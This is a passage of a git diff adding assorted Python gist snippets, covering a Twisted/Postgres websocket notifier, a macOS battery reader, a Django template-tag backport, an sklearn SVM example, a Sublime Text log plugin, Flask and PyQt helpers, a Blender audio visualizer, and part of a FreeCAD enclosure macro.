+           onclick="document.getElementById('text').value = ''"></input>
+    <br />
+    <textarea id="text" cols="80" rows="30"></textarea>
+  </body>
+</html>
+"""
+
+
+class Observer(object):
+
+    def __init__(self):
+        self.finished = defer.Deferred()
+        self.handlers = set()
+
+    def __call__(self, notify):
+        if notify.channel == 'exit':
+            self.finished.callback(None)
+        else:
+            for handler in set(self.handlers):
+                handler.onNotify(notify.payload)
+
+    def addHandler(self, handler):
+        self.handlers.add(handler)
+
+    def removeHandler(self, handler):
+        self.handlers.remove(handler)
+
+
+class Handler(websocket.WebSocketHandler):
+
+    def __init__(self, transport, observer):
+        websocket.WebSocketHandler.__init__(self, transport)
+        util.println('new client')
+        self.observer = observer
+        self.observer.addHandler(self)
+
+    def onNotify(self, data):
+        self.transport.write(data)
+
+    def connectionLost(self, reason):
+        util.println('client disconnected')
+        self.observer.removeHandler(self)
+
+
+conn = txpostgres.Connection()
+observer = Observer()
+conn.addNotifyObserver(observer)
+
+site = websocket.WebSocketSite(MainPage())
+site.addHandler('/data', lambda transport: Handler(transport, observer))
+
+d = conn.connect(dsn)
+d.addCallback(lambda _: conn.runOperation('listen data'));
+d.addCallback(lambda _: conn.runOperation('listen exit'));
+d.addCallback(lambda _: reactor.listenTCP(7000, site))
+d.addCallback(lambda _: util.println('listening on port 7000'))
+
+d.addCallback(lambda _: observer.finished)
+
+d.addCallback(lambda _: util.println('shutting down'))
+d.addCallback(lambda _: reactor.stop())
+d.addErrback(log.err)
+
+reactor.run()
\ No newline at end of file
diff --git a/hard-gists/134acb5f7423312effcc98ec56679136/._snippet.py b/hard-gists/134acb5f7423312effcc98ec56679136/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/134acb5f7423312effcc98ec56679136/._snippet.py differ
diff --git a/hard-gists/134acb5f7423312effcc98ec56679136/snippet.py b/hard-gists/134acb5f7423312effcc98ec56679136/snippet.py
new file mode 100644
index 00000000..e48d5f16
--- /dev/null
+++ b/hard-gists/134acb5f7423312effcc98ec56679136/snippet.py
@@ -0,0 +1,44 @@
+import objc
+from Foundation import NSBundle
+
+IOKit = NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit')
+
+functions = [("IOServiceGetMatchingService", b"II@"),
+             ("IOServiceMatching", b"@*"),
+             ("IORegistryEntryCreateCFProperties", b"IIo^@@I"),
+             ("IOPSCopyPowerSourcesByType", b"@I"),
+             ("IOPSCopyPowerSourcesInfo", b"@"),
+            ]
+
+objc.loadBundleFunctions(IOKit, globals(), functions)
+
+# matches information pulled by: pmset -g rawbatt
+def raw_battery_dict():
+    battery = IOServiceGetMatchingService(0, IOServiceMatching("AppleSmartBattery"))
+    if (battery != 0):
+        # we have a battery
+        err, props = IORegistryEntryCreateCFProperties(battery, None, None, 0)
+        return props
+
+# matches information pulled by: pmset -g batt
+def adjusted_battery_dict():
+    try:
+        battery = list(IOPSCopyPowerSourcesByType(0))[0]
+    except:
+        battery = 0
+    if (battery != 0):
+        # we have a battery
+        return battery
+
+def raw_battery_percent():
+    d = raw_battery_dict()
+    if d:
+        curc = d['CurrentCapacity']
+        maxc = d['MaxCapacity']
+        perc = 100.*curc/maxc
+        return perc
+
+def adjusted_battery_percent():
+    d = adjusted_battery_dict()
+    if d:
+        return d["Current Capacity"]
diff --git a/hard-gists/1350641/._snippet.py b/hard-gists/1350641/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1350641/._snippet.py differ
diff --git a/hard-gists/1350641/snippet.py b/hard-gists/1350641/snippet.py
new file mode 100644
index 00000000..a735280b
--- /dev/null
+++ b/hard-gists/1350641/snippet.py
@@ -0,0 +1,209 @@
+"""
+Backports the ``register.assignment_tag`` functionality from Django 1.4 to
+Django 1.3.
+
+This code is almost entirely reproduced from
+https://code.djangoproject.com/browser/django/trunk/django/template/base.py
+and is the work of Django's authors:
+https://code.djangoproject.com/browser/django/trunk/AUTHORS
+
+It is licensed under Django's BSD license, available here:
+https://code.djangoproject.com/browser/django/trunk/LICENSE
+
+To use, simply import this code in your project prior to using the
+``register.assignment_tag``. In general, the top of your template tag
+python file would be a good place for the import.
+"""
+import re
+from inspect import getargspec
+
+from django.template import TemplateSyntaxError
+from django.template.base import Node, Library
+
+
+if not hasattr(Library, 'assignment_tag'):
+    # Regex for token keyword arguments
+    kwarg_re = re.compile(r"(?:(\w+)=)?(.+)")
+
+    def token_kwargs(bits, parser, support_legacy=False):
+        """
+        A utility method for parsing token keyword arguments.
+
+        :param bits: A list containing remainder of the token (split by spaces)
+            that is to be checked for arguments. Valid arguments will be removed
+            from this list.
+
+        :param support_legacy: If set to true ``True``, the legacy format
+            ``1 as foo`` will be accepted. Otherwise, only the standard ``foo=1``
+            format is allowed.
+
+        :returns: A dictionary of the arguments retrieved from the ``bits`` token
+            list.
+
+        There is no requirement for all remaining token ``bits`` to be keyword
+        arguments, so the dictionary will be returned as soon as an invalid
+        argument format is reached.
+        """
+        if not bits:
+            return {}
+        match = kwarg_re.match(bits[0])
+        kwarg_format = match and match.group(1)
+        if not kwarg_format:
+            if not support_legacy:
+                return {}
+            if len(bits) < 3 or bits[1] != 'as':
+                return {}
+
+        kwargs = {}
+        while bits:
+            if kwarg_format:
+                match = kwarg_re.match(bits[0])
+                if not match or not match.group(1):
+                    return kwargs
+                key, value = match.groups()
+                del bits[:1]
+            else:
+                if len(bits) < 3 or bits[1] != 'as':
+                    return kwargs
+                key, value = bits[2], bits[0]
+                del bits[:3]
+            kwargs[key] = parser.compile_filter(value)
+            if bits and not kwarg_format:
+                if bits[0] != 'and':
+                    return kwargs
+                del bits[:1]
+        return kwargs
+
+    def parse_bits(parser, bits, params, varargs, varkw, defaults,
+               takes_context, name):
+        """
+        Parses bits for template tag helpers (simple_tag, include_tag and
+        assignment_tag), in particular by detecting syntax errors and by
+        extracting positional and keyword arguments.
+        """
+        if takes_context:
+            if params[0] == 'context':
+                params = params[1:]
+            else:
+                raise TemplateSyntaxError(
+                    "'%s' is decorated with takes_context=True so it must "
+                    "have a first argument of 'context'" % name)
+        args = []
+        kwargs = {}
+        unhandled_params = list(params)
+        for bit in bits:
+            # First we try to extract a potential kwarg from the bit
+            kwarg = token_kwargs([bit], parser)
+            if kwarg:
+                # The kwarg was successfully extracted
+                param, value = kwarg.items()[0]
+                if param not in params and varkw is None:
+                    # An unexpected keyword argument was supplied
+                    raise TemplateSyntaxError(
+                        "'%s' received unexpected keyword argument '%s'" %
+                        (name, param))
+                elif param in kwargs:
+                    # The keyword argument has already been supplied once
+                    raise TemplateSyntaxError(
+                        "'%s' received multiple values for keyword argument '%s'" %
+                        (name, param))
+                else:
+                    # All good, record the keyword argument
+                    kwargs[str(param)] = value
+                    if param in unhandled_params:
+                        # If using the keyword syntax for a positional arg, then
+                        # consume it.
+                        unhandled_params.remove(param)
+            else:
+                if kwargs:
+                    raise TemplateSyntaxError(
+                        "'%s' received some positional argument(s) after some "
+                        "keyword argument(s)" % name)
+                else:
+                    # Record the positional argument
+                    args.append(parser.compile_filter(bit))
+                    try:
+                        # Consume from the list of expected positional arguments
+                        unhandled_params.pop(0)
+                    except IndexError:
+                        if varargs is None:
+                            raise TemplateSyntaxError(
+                                "'%s' received too many positional arguments" %
+                                name)
+        if defaults is not None:
+            # Consider the last n params handled, where n is the
+            # number of defaults.
+            unhandled_params = unhandled_params[:-len(defaults)]
+        if unhandled_params:
+            # Some positional arguments were not supplied
+            raise TemplateSyntaxError(
+                u"'%s' did not receive value(s) for the argument(s): %s" %
+                (name, u", ".join([u"'%s'" % p for p in unhandled_params])))
+        return args, kwargs
+
+
+    class TagHelperNode(Node):
+        """
+        Base class for tag helper nodes such as SimpleNode, InclusionNode and
+        AssignmentNode. Manages the positional and keyword arguments to be passed
+        to the decorated function.
+        """
+
+        def __init__(self, takes_context, args, kwargs):
+            self.takes_context = takes_context
+            self.args = args
+            self.kwargs = kwargs
+
+        def get_resolved_arguments(self, context):
+            resolved_args = [var.resolve(context) for var in self.args]
+            if self.takes_context:
+                resolved_args = [context] + resolved_args
+            resolved_kwargs = dict((k, v.resolve(context))
+                                    for k, v in self.kwargs.items())
+            return resolved_args, resolved_kwargs
+
+
+    def assignment_tag(self, func=None, takes_context=None, name=None):
+            def dec(func):
+                params, varargs, varkw, defaults = getargspec(func)
+
+                class AssignmentNode(TagHelperNode):
+                    def __init__(self, takes_context, args, kwargs, target_var):
+                        super(AssignmentNode, self).__init__(takes_context, args, kwargs)
+                        self.target_var = target_var
+
+                    def render(self, context):
+                        resolved_args, resolved_kwargs = self.get_resolved_arguments(context)
+                        context[self.target_var] = func(*resolved_args, **resolved_kwargs)
+                        return ''
+
+                function_name = (name or
+                    getattr(func, '_decorated_function', func).__name__)
+
+                def compile_func(parser, token):
+                    bits = token.split_contents()[1:]
+                    if len(bits) < 2 or bits[-2] != 'as':
+                        raise TemplateSyntaxError(
+                            "'%s' tag takes at least 2 arguments and the "
+                            "second last argument must be 'as'" % function_name)
+                    target_var = bits[-1]
+                    bits = bits[:-2]
+                    args, kwargs = parse_bits(parser, bits, params,
+                        varargs, varkw, defaults, takes_context, function_name)
+                    return AssignmentNode(takes_context, args, kwargs, target_var)
+
+                compile_func.__doc__ = func.__doc__
+                self.tag(function_name, compile_func)
+                return func
+
+            if func is None:
+                # @register.assignment_tag(...)
+                return dec
+            elif callable(func):
+                # @register.assignment_tag
+                return dec(func)
+            else:
+                raise TemplateSyntaxError("Invalid arguments provided to assignment_tag")
+
+
+    Library.assignment_tag = assignment_tag
diff --git a/hard-gists/1351047/._snippet.py b/hard-gists/1351047/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1351047/._snippet.py differ
diff --git a/hard-gists/1351047/snippet.py b/hard-gists/1351047/snippet.py
new file mode 100644
index 00000000..9ce2f820
--- /dev/null
+++ b/hard-gists/1351047/snippet.py
@@ -0,0 +1,23 @@
+from sklearn.datasets import load_digits
+from sklearn.svm import SVC
+from sklearn.utils import shuffle
+from sklearn.metrics import zero_one_score
+import numpy as np
+
+
+digits = load_digits()
+X, y = shuffle(digits.data, digits.target)
+X_train, X_test = X[:1000, :], X[1000:, :]
+y_train, y_test = y[:1000], y[1000:]
+
+svc = SVC(kernel='precomputed')
+
+kernel_train = np.dot(X_train, X_train.T)  # linear kernel
+
+svc.fit(kernel_train, y_train)
+
+#kernel_test = np.dot(X_test, X_train[svc.support_, :].T)
+kernel_test = np.dot(X_test, X_train.T)
+y_pred = svc.predict(kernel_test)
+print(zero_one_score(y_test, y_pred))
+
diff --git a/hard-gists/1352028/._snippet.py b/hard-gists/1352028/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1352028/._snippet.py differ
diff --git a/hard-gists/1352028/snippet.py b/hard-gists/1352028/snippet.py
new file mode 100644
index 00000000..e75ff36b
--- /dev/null
+++ b/hard-gists/1352028/snippet.py
@@ -0,0 +1,22 @@
+import sublime, sublime_plugin, os
+
+class TailCommand(sublime_plugin.TextCommand):
+	def run(self, edit):
+		from datetime import datetime
+
+		filtertext = "FLO"
+
+		# open sublime console
+		self.view.window().run_command("show_panel", { "panel": "console", "toggle": "true" })
+
+		# show log as output
+		folder = self.view.window().folders()[0]
+		print 
+		print datetime.now()
+		print ">> open " + folder + "/log/development.log:"
+		log = os.popen("tail " + folder + "/log/development.log -n 200 | grep " + filtertext).readlines()
+		if len(log) == 0:
+			print ">> no matches for FLO"
+		else:
+			for line in log:
+				print ">> " + line
\ No newline at end of file
diff --git a/hard-gists/1355170/._snippet.py b/hard-gists/1355170/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1355170/._snippet.py differ
diff --git a/hard-gists/1355170/snippet.py b/hard-gists/1355170/snippet.py
new file mode 100644
index 00000000..cfea9421
--- /dev/null
+++ b/hard-gists/1355170/snippet.py
@@ -0,0 +1,48 @@
+"Customize Flask to select a template based on some criteria."
+
+import os
+
+from flask import Flask, request, render_template
+from flask.helpers import locked_cached_property
+from jinja2 import FileSystemLoader, TemplateNotFound
+
+# Import a detection utility from your project, not defined here.
+# Takes a request object and returns True if browser is mobile.
+# Could sniff User-Agent, use sessions, or look for URL arguments.
+from my_helpers import detect_mobile_browser
+
+
+# Customize Flask. Could move these two classes to a separate Python module.
+class DetectingFlask(Flask):
+    "A Flask with separate templates for mobile and desktop browsers."
+
+    @locked_cached_property
+    def jinja_loader(self):
+        "Override for a custom template loader."
+        if self.template_folder is not None:
+            return DetectingLoader(os.path.join(self.root_path,
+                                                self.template_folder))
+
+
+# See jinja2.loaders for ideas on template loaders.
+class DetectingLoader(FileSystemLoader):
+    "Template loader choosing template based on browser detection, w/defaults."
+
+    def get_source(self, environment, template):
+        # Consider moving the mobile template prefix to a config variable.
+        if detect_mobile_browser(request):
+            mobile_template = 'm/' + template
+            try:
+                return super(DetectingLoader, self).get_source(environment,
+                                                               mobile_template)
+            except TemplateNotFound:
+                pass # Fall back to default template.
+        return super(DetectingLoader, self).get_source(environment, template)
+
+
+app = DetectingFlask(__name__)
+
+
+@app.route('/')
+def index():
+    return render_template('index.html')
diff --git a/hard-gists/1357185/._snippet.py b/hard-gists/1357185/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1357185/._snippet.py differ
diff --git a/hard-gists/1357185/snippet.py b/hard-gists/1357185/snippet.py
new file mode 100644
index 00000000..8b10f61d
--- /dev/null
+++ b/hard-gists/1357185/snippet.py
@@ -0,0 +1,85 @@
+# To use this script, you must first change a few things.
+# First, you'll want to change the filepath for the sound file.
+# This is on line 76. Second, you might want to change the materials or the settings.
+# To render this, you'll need to set the background color, enable Only Render on the display window, and render it with OpenGL (it's much faster and most optimal for 2D renders.)
+# LICENSE = wtfpl
+# VERSION = 0.3
+
+import bpy
+
+def makeMaterial(name, diffuse, alpha):
+    mat = bpy.data.materials.new(name)
+    mat.diffuse_color = diffuse
+    mat.alpha = alpha
+    mat.ambient = 1
+    mat.use_shadeless = True
+    return mat
+
+def setMaterial(ob, mat):
+    me = ob.data
+    me.materials.append(mat)
+
+# SETTINGS:
+bars = 50
+maxfreq = 20000 # 20000 is the highest the ear can hear
+minfreq = 20 # 20 is the lowest the ear can hear
+barheight = 6 # 1 = about 4 blender units
+# </settings>
+
+c = 1
+l = 1
+h = 1
+
+base = ( maxfreq / minfreq ) ** ( 1 / ( bars - 1 ) )
+    
+#                    name   R  G  B   A
+white = makeMaterial('EQ', (1, 1, 1), 1)
+# The material settings can be adjusted manually after the script finishes running.
+
+for i in range(0, bars):
+    
+    l = h
+    
+    #calculate the frequency
+    h = minfreq * base ** ( c - 1 )
+
+    # add a plane
+    bpy.ops.mesh.primitive_plane_add(location = (c, 1, 0))
+    # set the material
+    setMaterial(bpy.context.object, white)
+    # move the cursor location to the plane location
+    bpy.context.scene.cursor_location = bpy.context.active_object.location
+    # move the cursor 1 unit down
+    bpy.context.scene.cursor_location.y -= 1
+    # move the object origin to the cursor locationa
+    bpy.ops.object.origin_set(type='ORIGIN_CURSOR')
+    
+    # scale the plane
+    bpy.context.active_object.scale.x = 0.3
+    bpy.context.active_object.scale.y = barheight
+    bpy.context.active_object.scale.z = 1
+
+    # apply the scale
+    bpy.ops.object.transform_apply(scale=True)
+    
+    # insert a scale keyframe
+    bpy.ops.anim.keyframe_insert_menu(type='Scaling')
+    
+    # lock X and Z for scaling
+    bpy.context.active_object.animation_data.action.fcurves[0].lock = True
+    bpy.context.active_object.animation_data.action.fcurves[2].lock = True
+    
+    # change this to a graph editor because baking sound only works with that
+    bpy.context.area.type = 'GRAPH_EDITOR'
+    
+    # bake the sound into the plane
+    bpy.ops.graph.sound_bake(filepath="/home/tyler/Music/Skream/Midnight Request Line_I/01 - Midnight Request Line.mp3", low=l, high=h, attack=0.001, release=0.2) #Replace this path with the path of your song
+    
+    # lock the y scaling just because
+    bpy.context.active_object.animation_data.action.fcurves[1].lock = True
+    
+    # add 1 to the C value that is used to determine the frequency for the plane
+    c += 1
+    
+#change it back to the text editor.
+bpy.context.area.type = 'TEXT_EDITOR'
\ No newline at end of file
diff --git a/hard-gists/1358794/._snippet.py b/hard-gists/1358794/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1358794/._snippet.py differ
diff --git a/hard-gists/1358794/snippet.py b/hard-gists/1358794/snippet.py
new file mode 100644
index 00000000..bf6d8d74
--- /dev/null
+++ b/hard-gists/1358794/snippet.py
@@ -0,0 +1,65 @@
+#!/usr/bin/env python
+
+import sys
+import time
+
+from flask import Flask
+from PyQt4 import QtCore, QtGui, QtWebKit
+
+import gevent.wsgi
+
+class WebView(QtWebKit.QWebView):
+    def __init__(self):
+        QtWebKit.QWebView.__init__(self)
+
+        self.load(QtCore.QUrl("http://localhost:5000/"))
+        self.connect(self , QtCore.SIGNAL("clicked()"), self.closeEvent)
+
+    def closeEvent(self, event):
+        self.deleteLater()
+        app.quit()
+        print "closing gui"
+        g.kill(gevent.GreenletExit, block=False)
+        f.kill(gevent.GreenletExit, block=False)
+        print "are gui and webserver alive? ", g.dead, f.dead
+
+
+class PyQtGreenlet(gevent.Greenlet):
+    def __init__(self, app):
+        gevent.Greenlet.__init__(self)
+        self.app = app
+
+    def _run(self):
+        while True:
+            self.app.processEvents()
+            while self.app.hasPendingEvents():
+                self.app.processEvents()
+                gevent.sleep(0.01)
+        gevent.sleep(0.1)
+   
+if __name__ == "__main__":
+    fapp = Flask(__name__)
+    fapp.debug=True
+
+    @fapp.route("/")
+    def hello():
+        print time.time()
+        return '<a href="http://localhost:5000/bye" > quit() </a></br><a href="http://localhost:5000/" > reload </a></br>count={0}'.format(time.time())
+
+    @fapp.route("/bye", methods=['GET'])
+    def goodbye():
+        print "killing webserver"
+        f.kill(block=False)
+        print "is webserver alive? ", f.dead
+        window.closeEvent(QtCore.SIGNAL("clicked()"))
+        return 'goodbye'
+
+    http_server = gevent.wsgi.WSGIServer(('', 5000), fapp)
+    f = gevent.spawn( http_server.serve_forever)
+
+    app = QtGui.QApplication(sys.argv)  
+    window = WebView()
+    window.show()
+    g = PyQtGreenlet.spawn(app)
+    gevent.joinall([f, g])
+    
diff --git a/hard-gists/1361643/._snippet.py b/hard-gists/1361643/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/1361643/._snippet.py differ
diff --git a/hard-gists/1361643/snippet.py b/hard-gists/1361643/snippet.py
new file mode 100644
index 00000000..d1272a1d
--- /dev/null
+++ b/hard-gists/1361643/snippet.py
@@ -0,0 +1,247 @@
+from __future__ import division # allows floating point division from integers
+from FreeCAD import Base
+import Part
+import math
+
+# Run this macro to create a generic project enclosure box
+# You can change all the parameters by selecting the object in the tree view and tweaking values in the "Data" tab
+
+# Possible additions/improvements
+#   counterbore bridging .4mm
+#   screwpost corner ribbing on/off
+#   screwpost edgeNormal ribbing on/off
+# lid:
+#    make lid lip more like a border?
+#    alternatively inset lid in body, have tabs to make it grabbable
+
+# rewrite to accept any polygon (not just rectangles) for box shape, when viewed from top.
+# tabbed enclosures?  (ex http://www.amazon.com/Electronics-Enclosure-Plastic-Project-Tabs/dp/B003EAHOYS )
+# extra standoffs for boards?
+
+#  sanity checks:
+#     SideRadius < width / 2  and < length / 2
+#     ScrewpostInset > ScrewpostOD / 2?
+
+class BoxEnclosure:
+    def __init__(self, obj,
+            OuterWidth=100, OuterLength=150, OuterHeight=50, Thickness=3, 
+            SideRadius=10, TopAndBottomRadius = 2,
+            ScrewpostInset = 8, ScrewpostID = 4, ScrewpostOD = 10,
+            BoreDiameter=0, BoreDepth=0,
+            CountersinkAngle=90, CountersinkDiameter=8,
+            LipHeight = 1, LidFlip=False):
+
+        obj.addProperty("App::PropertyLength","OuterWidth","BoxBody","Outer width of box enclosure.\nIf inner width is set, this will automatically update accordingly.").OuterWidth = OuterWidth
+        obj.addProperty("App::PropertyLength","OuterLength","BoxBody","Outer length of box enclosure.\nIf inner length is set, this will automatically update accordingly.").OuterLength = OuterLength
+        obj.addProperty("App::PropertyLength","OuterHeight","BoxBody","Outer height of box enclosure.\nIf inner height is set, this will automatically update accordingly.").OuterHeight = OuterHeight
+        obj.addProperty("App::PropertyLength","InnerWidth","BoxBody","Inner width of box enclosure.\nIf outer width is set, this will automatically update accordingly.").InnerWidth = OuterWidth - 2 * Thickness
+        obj.addProperty("App::PropertyLength","InnerLength","BoxBody","Inner length of box enclosure.\nIf outer length is set, this will automatically update accordingly.").InnerLength = OuterLength - 2 * Thickness
+        obj.addProperty("App::PropertyLength","InnerHeight","BoxBody","Inner height of box enclosure.\nIf outer height is set, this will automatically update accordingly.").InnerHeight = OuterHeight - 2 * Thickness
+        obj.addProperty("App::PropertyLength","Thickness","BoxBody","Thickness of the box walls").Thickness = Thickness
+
+        obj.addProperty("App::PropertyLength","SideRadius","Fillets","Radius for the curves around the sides of the box").SideRadius = SideRadius
+        obj.addProperty("App::PropertyLength","TopAndBottomRadius","Fillets","Radius for the curves on the top and bottom edges of the box").TopAndBottomRadius = TopAndBottomRadius
+
+        obj.addProperty("App::PropertyLength","ScrewpostInset","Screwposts","How far in from the edges the screwposts should be place").ScrewpostInset = ScrewpostInset
+        obj.addProperty("App::PropertyLength","ScrewpostID","Screwposts","Inner Diameter of the screwpost holes, should be roughly screw diameter not including threads").ScrewpostID = ScrewpostID
+        obj.addProperty("App::PropertyLength","ScrewpostOD","Screwposts","Outer Diameter of the screwposts.\nDetermines overall thickness of the posts.\nMust be larger than the ScrewpostID!").ScrewpostOD = ScrewpostOD
+
+        obj.addProperty("App::PropertyLength","BoreDiameter","Counterbore","Diameter of the counterbore hole, if any").BoreDiameter = BoreDiameter
+        obj.addProperty("App::PropertyLength","BoreDepth","Counterbore","Depth of the counterbore hole, if any").BoreDepth = BoreDepth
+
+        obj.addProperty("App::PropertyLength","CountersinkDiameter","Countersink","Outer diameter of countersink.  Should roughly match the outer diameter of the screw head").CountersinkDiameter = CountersinkDiameter
+        obj.addProperty("App::PropertyAngle","CountersinkAngle","Countersink","Countersink angle (complete angle between opposite sides, not from center to one side)").CountersinkAngle = CountersinkAngle
+
+        obj.addProperty("App::PropertyBool","LidFlip","BoxLid","Whether to place the lid with the top facing down or not.\nDoes not affect the part shape at all").LidFlip = LidFlip
+        obj.addProperty("App::PropertyLength","LipHeight","BoxLid","Height of lip on the underside of the lid.\nSits inside the box body for a snug fit.").LipHeight = LipHeight
+
+        # used in error handling, to revert to last good value upon error
+        self.oldValues = { 
+            "OuterWidth": obj.OuterWidth,
+            "OuterLength": obj.OuterLength,
+            "OuterHeight": obj.OuterHeight,
+            "InnerWidth": obj.InnerWidth,
+            "InnerLength": obj.InnerLength,
+            "InnerHeight": obj.InnerHeight,
+            "Thickness": obj.Thickness,
+            "SideRadius": obj.SideRadius,
+            "TopAndBottomRadius": obj.TopAndBottomRadius,
+            "ScrewpostInset": obj.ScrewpostInset,
+            "ScrewpostID": obj.ScrewpostID,
+            "ScrewpostOD": obj.ScrewpostOD,
+            "BoreDiameter": obj.BoreDiameter,
+            "BoreDepth": obj.BoreDepth,
+            "CountersinkDiameter": obj.CountersinkDiameter,
+            "CountersinkAngle": obj.CountersinkAngle,
+            "LidFlip": obj.LidFlip,
+            "LipHeight": obj.LipHeight,
+        }
+        
+        obj.Proxy = self
+
+    def onChanged(self, fp, prop):
+        "Do something when a property has changed"
+        print "%s changed" % prop
+        if prop == "InnerWidth":
+            self.updateProperty(fp, "OuterWidth", fp.InnerWidth + 2 * fp.Thickness)
+        elif prop == "InnerLength":
+            self.updateProperty(fp, "OuterLength", fp.InnerLength + 2 * fp.Thickness)
+        elif prop == "InnerHeight":
+            self.updateProperty(fp, "OuterHeight", fp.InnerHeight + 2 * fp.Thickness)
+        elif prop == "OuterWidth":
+            self.updateProperty(fp, "InnerWidth", fp.OuterWidth - 2 * fp.Thickness)
+        elif prop == "OuterLength":
+            self.updateProperty(fp, "InnerLength", fp.OuterLength - 2 * fp.Thickness)
+        elif prop == "OuterHeight":
+            self.updateProperty(fp, "InnerHeight", fp.OuterHeight - 2 * fp.Thickness)
+        elif prop == "BoreDepth":
+            if fp.BoreDepth >= fp.Thickness:
+                fp.BoreDepth = self.oldValues[prop]
+                raise ValueError("Bore Depth must be less than Thickness" % prop)
+        elif prop == "ScrewpostID":
+            if fp.ScrewpostID >= fp.ScrewpostOD:
+                fp.ScrewpostID = self.oldValues[prop]
+                raise ValueError("Screwpost ID must be less than Screwpost OD" % prop)
+        elif prop == "ScrewpostOD":
+            if fp.ScrewpostOD <= fp.ScrewpostID:
+                fp.ScrewpostOD = self.oldValues[prop]
+                raise ValueError("Screwpost OD must be greater than Screwpost ID" % prop)
+        elif prop == "Thickness":
+            if fp.Thickness <= 0:
+                fp.Thickness = self.oldValues[prop]
+                raise ValueError("%s must be > 0" % prop)
+            elif fp.Thickness <= fp.BoreDepth:
+                fp.Thickness = self.oldValues[prop]
+                raise ValueError("Thickness must be greater than Bore Depth " % prop)
+            self.updateProperty(fp, "OuterWidth", fp.InnerWidth + 2 * fp.Thickness)
+            self.updateProperty(fp, "OuterLength", fp.InnerLength + 2 * fp.Thickness)
+            self.updateProperty(fp, "OuterHeight", fp.InnerHeight + 2 * fp.Thickness)
+                
+        elif prop == "Shape":
+            for k in self.oldValues.keys():
+                self.oldValues[k] = getattr(fp, k)
+        print self.oldValues
+
+    def updateProperty(self, fp, prop, value):
+        epsilon = 0.0001
+        if abs(getattr(fp, prop) - value) > epsilon:
+            setattr(fp, prop, value)
+
+    def execute(self, fp):
+        box = Part.makeBox(fp.OuterWidth, fp.OuterLength, fp.OuterHeight + fp.LipHeight)
+        hollow = Part.makeBox(fp.InnerWidth, fp.InnerLength, fp.InnerHeight, Base.Vector(fp.Thickness, fp.Thickness, fp.Thickness))
+        if fp.SideRadius > fp.TopAndBottomRadius:
+            box = self.filletBox(box, fp.SideRadius)
+            box = self.filletBox(box, fp.TopAndBottomRadius, filletZ=True)    
+            hollow = self.filletBox(hollow, fp.SideRadius - fp.Thickness)
+            hollow = self.filletBox(hollow, fp.TopAndBottomRadius - fp.Thickness, filletZ=True)    
+        else:
+            box = self.filletBox(box, fp.TopAndBottomRadius, filletZ=True)    
+            box = self.filletBox(box, fp.SideRadius)
+            hollow = self.filletBox(hollow, fp.TopAndBottomRadius - fp.Thickness, filletZ=True)    
+            hollow = self.filletBox(hollow, fp.SideRadius - fp.Thickness)
+        
+        box = box.cut(hollow)
+
+        points = (
+            (fp.ScrewpostInset, fp.ScrewpostInset, fp.Thickness), 
+            (fp.OuterWidth - fp.ScrewpostInset, fp.ScrewpostInset, fp.Thickness), 
+            (fp.ScrewpostInset, fp.OuterLength - fp.ScrewpostInset, fp.Thickness), 
+            (fp.OuterWidth - fp.ScrewpostInset, fp.OuterLength - fp.ScrewpostInset, fp.Thickness)
+        )
+        
+        box = self.addStandoffs(box, fp.OuterHeight + fp.LipHeight - fp.Thickness, fp.ScrewpostID, fp.ScrewpostOD, points)    
+        
+        (body, lid) = self.cleaveZ(box, fp.OuterHeight - fp.Thickness)
+        
+        # create lip on lid
+        lid.translate(Base.Vector(0, 0, -fp.LipHeight))
+        lid = lid.cut(body)
+
+        # drop lid down so that top is at thickness height
+        lid.translate(Base.Vector(0, 0, fp.Thickness - fp.OuterHeight))
+
+        # counterbore and/or countersink
+        if fp.BoreDiameter > 0 and fp.BoreDepth > 0:
+            lid = self.counterBore(lid, fp.BoreDiameter, fp.BoreDepth, points)
+        if fp.CountersinkDiameter > 0 and fp.CountersinkAngle > 0:
+            lid = self.counterSink(lid, fp.CountersinkDiameter, fp.CountersinkAngle, points, fp.BoreDepth)
+    
+        # compensate for lip height
+        lid.translate(Base.Vector(0, 0, fp.LipHeight))
+
+        # orient the lid upside down or not
+        if fp.LidFlip:
+            lid.rotate(Base.Vector(fp.OuterWidth/2, fp.OuterLength/2, (fp.Thickness + fp.LipHeight) / 2), Base.Vector(0,1,0), 180)
+
+        # slide lid over to the side of box body
+        lid.translate(Base.Vector(fp.OuterWidth + fp.Thickness, 0, 0))
+    
+        fp.Shape = body.fuse(lid)
+
+    def counterBore(self, part, diameter, depth, points):
+        for point in points:
+            if type(point) is tuple or type(point) is list:
+                point = Base.Vector(point[0], point[1], point[2])
+            bore = Part.makeCylinder(diameter/2.0, depth, point)
+            bore.translate(Base.Vector(0,0,-depth))
+            part = part.cut(bore)
+        return part
+
+    def counterSink(self, part, diameter, angle, points, boreDepth=0):
+        if boreDepth < 0:
+            boreDepth = 0
+        r = diameter / 2.0
+        h = r / math.tan(math.radians(angle / 2.0))
+        for point in points:
+            if type(point) is tuple or type(point) is list:
+                point = Base.Vector(point[0], point[1], point[2])
+            sink = Part.makeCone(0,r, h, point)
+            sink.translate(Base.Vector(0,0,-h-boreDepth))
+            part = part.cut(sink)
+        return part
+
+    def addStandoffs(self, part, height, ID, OD, points):
+        for point in points:
+            if type(point) is tuple or type(point) is list:
+                point = Base.Vector(point[0], point[1], point[2])
+            post = Part.makeCylinder(OD/2.0, height, point)
+            part = part.fuse(post)
+            screwhole = Part.makeCylinder(ID/2.0, height, point)
+            part = part.cut(screwhole)
+        return part
+
+
+    def cleaveZ(self, part, z):
+        b = part.BoundBox
+        topBox = Part.makeBox(b.XLength, b.YLength, b.ZMax - z, Base.Vector(b.XMin, b.YMin, z))
+        bottomBox = Part.makeBox(b.XLength, b.YLength, z - b.ZMin, Base.Vector(b.XMin, b.YMin, b.ZMin))
+        return part.cut(topBox), part.cut(bottomBox)
+     
+    # fillets only edges restricted to X and Y,  or just along Z 
+    def filletBox(self, part, radius, filletZ=False):
+        if (radius > 0):
